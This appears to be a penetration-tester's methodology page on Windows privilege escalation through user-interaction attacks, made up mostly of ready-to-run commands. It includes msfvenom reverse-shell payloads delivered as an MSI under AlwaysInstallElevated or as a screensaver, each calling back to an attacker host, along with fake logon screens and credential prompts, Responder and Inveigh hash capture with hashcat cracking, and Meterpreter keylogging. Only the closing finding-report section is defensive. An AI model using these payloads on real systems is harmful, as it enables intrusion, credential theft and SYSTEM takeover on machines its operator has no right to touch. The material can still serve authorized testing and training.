🛡️ Methodology Checklist
- Check AlwaysInstallElevated HKCU:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated - Check AlwaysInstallElevated HKLM:
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated - Both = 1? Generate MSI payload:
msfvenom -p windows/x64/shell_reverse_tcp ... -f msi - Install:
msiexec /i payload.msi /quiet /qn /norestart - Deploy FakeLogonScreen or SharpLoginPrompt to capture user credentials
- Check screensaver:
reg query "HKCU\Control Panel\Desktop" /v SCRNSAVE.EXE - Run Inveigh for LLMNR/NBT-NS poisoning from Windows host
🎯 Operational Context
Use when: Standard privesc paths exhausted — use user interaction attacks (keyloggers, window interception, fake prompt) to capture admin credentials.
Think Dumber First: If an admin is logged in and you have user-level access, Meterpreter keyscan_start captures everything typed including admin passwords. Screen capture (screenshot) confirms admin is active. These are passive — no crash risk.
Skip when: No interactive admin session present on the target — these attacks require a logged-in target to interact with.
⚡ Tactical Cheatsheet
| Command | Tactical Outcome |
|---|---|
.\SharpUp.exe audit | Find AlwaysInstallElevated + other user-interaction vectors |
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated | Check AlwaysInstallElevated for current user |
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated | Check AlwaysInstallElevated system-wide |
msfvenom -p windows/shell_reverse_tcp LHOST=[LHOST] LPORT=[LPORT] -f msi -o evil.msi | Generate MSI payload for AlwaysInstallElevated |
msiexec /i evil.msi /quiet | Install MSI — runs as SYSTEM if AlwaysInstallElevated enabled |
C:\Windows\System32\Taskmgr.exe /4 | Launch Task Manager (DLL hijack target) |
.\Responder.py -I [IFACE] -wv | Capture NTLM hashes from user browsing |
Invoke-Inveigh | PowerShell LLMNR/NBNS/SMB poisoner for NTLM capture |
.\FakeLogonScreen.exe | Fake Windows logon screen to capture user password |
.\SharpLoginPrompt.exe | Displays credential prompt — captured to file/console |
Set-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name SCRNSAVE.EXE -Value "C:\evil.exe" | Set malicious screensaver for when user locks screen |
🔬 Deep Dive & Workflow
AlwaysInstallElevated — MSI SYSTEM Escalation
# Check both registry keys — BOTH must be set to 1
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# → AlwaysInstallElevated REG_DWORD 0x1
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# → AlwaysInstallElevated REG_DWORD 0x1
# If both = 1 → MSI packages install as SYSTEM
# Generate payload MSI
msfvenom -p windows/shell_reverse_tcp LHOST=[LHOST] LPORT=[LPORT] -f msi -o evil.msi
# Execute (elevates automatically to SYSTEM)
msiexec /i \\[LHOST]\share\evil.msi /quiet /qn /norestart
# or local:
msiexec /i C:\temp\evil.msi /quietPowerUp detection: Invoke-AllChecks catches this and auto-generates payload under the “AlwaysInstallElevated” finding.
Fake Logon Screen — Physical/RDP User Capture
# Deploy FakeLogonScreen (blocks real desktop)
# Requires interactive session (not just shell)
.\FakeLogonScreen.exe
# → Displays pixel-perfect Windows login screen
# → Captures typed password → saves to file or displays in terminal
# → Dismiss: type anything and it falls through
# Or SharpLoginPrompt (pops credential dialog)
.\SharpLoginPrompt.exe
# → Standard Windows auth dialog (looks legitimate)
# → Returns typed credentials to consoleWhen to use: During physical access, RDP session, or if you have GUI access and target user is expected to authenticate shortly.
NTLM Hash Capture via Responder (Local)
# If you can place a file that triggers UNC path access:
# Create malicious file (e.g., in shared dir, desktop, email attachment)
# → user opens folder → Windows tries UNC path → sends NTLM to attacker
# Embed UNC trigger in .scf file:
echo "[Shell]" > @evil.scf
echo "Command=2" >> @evil.scf
echo "[Taskbar]" >> @evil.scf
echo "Command=ToggleDesktop" >> @evil.scf
echo "[Shell]" >> @evil.scf
echo "[Shell]" > @trigger.ini
# More effective: icon path pointing to attacker
# → File Explorer auto-requests the UNC path without user opening the file
# Attacker captures with Responder:
sudo ./Responder.py -I [IFACE] -wv
# Crack captured NTLMv2: hashcat -a 0 -m 5600 hash.txt rockyou.txtMalicious Screensaver
# If you have user-level access and can wait for them to lock:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=[LHOST] LPORT=[LPORT] -f exe -o evil.exe
copy evil.exe C:\Windows\Temp\evil.scr
# Set as screensaver
Set-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name SCRNSAVE.EXE -Value "C:\Windows\Temp\evil.scr"
Set-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name ScreenSaveActive -Value "1"
Set-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name ScreenSaverIsSecure -Value "0"
Set-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name ScreenSaveTimeout -Value "60"
# → After 60 seconds of inactivity → shell executes as current user
# → If current user has admin token → SYSTEM payloads viable after UAC bypassTraffic Capture with Inveigh (PowerShell)
# Inveigh = PowerShell Responder equivalent
Import-Module .\Inveigh.ps1
Invoke-Inveigh -ConsoleOutput Y -NBNS Y -LLMNR Y -FileOutput Y
# After capture, view results:
Get-InveighLog
Get-InveighNTLMv2 # NTLMv2 hashes
# Stop:
Stop-InveighResource-Based Constrained Delegation (via User Interaction)
# If you have GenericWrite on a computer object:
# → Set msDS-AllowedToActOnBehalfOfOtherIdentity
# → Impersonate any user to that machine
# → See AD_Bleeding_Edge for RBCD details🛠️ Troubleshooting & Edge Cases
| Problem | Cause | Fix |
|---|---|---|
| Meterpreter keyscan needs migration | Low-privilege process | Migrate to a user-context process first: migrate [EXPLORER_PID] or desktop process |
| Fake prompt PowerShell blocked | AMSI or execution policy | Use pre-built binary for credential prompt; or use Invoke-CredentialPhish from memory |
| Screenshot returns black screen | Process not in desktop session | Migrate to session 1 process (interactive desktop); ps and find Session=1 processes |
| Keylogger missing keystrokes | Not in correct session | Verify session: Meterpreter getpid; migrate to PID running in user session |
| User not responding to fake prompt | Prompt not visible | Use shell + msg * Please verify your credentials to continue to alert user to check screen |
📝 Reporting Trigger
Finding Title: Credential Capture via Active User Session Keylogging Impact: Keylogging of an active administrator session captures plaintext credentials for privileged accounts as they are typed, without any cryptographic bypass or exploitation — providing admin credentials through passive monitoring of legitimate user activity. Root Cause: Low-privileged process can migrate into or monitor a privileged user’s desktop session. No behavioral monitoring of process injection into explorer.exe or keyboard hook installation. Recommendation: Implement Privileged Access Workstations (PAWs) where admin sessions are physically separated from regular user sessions. Deploy EDR to detect keyboard hook installation and session monitoring behaviors. Implement session isolation between user and admin contexts.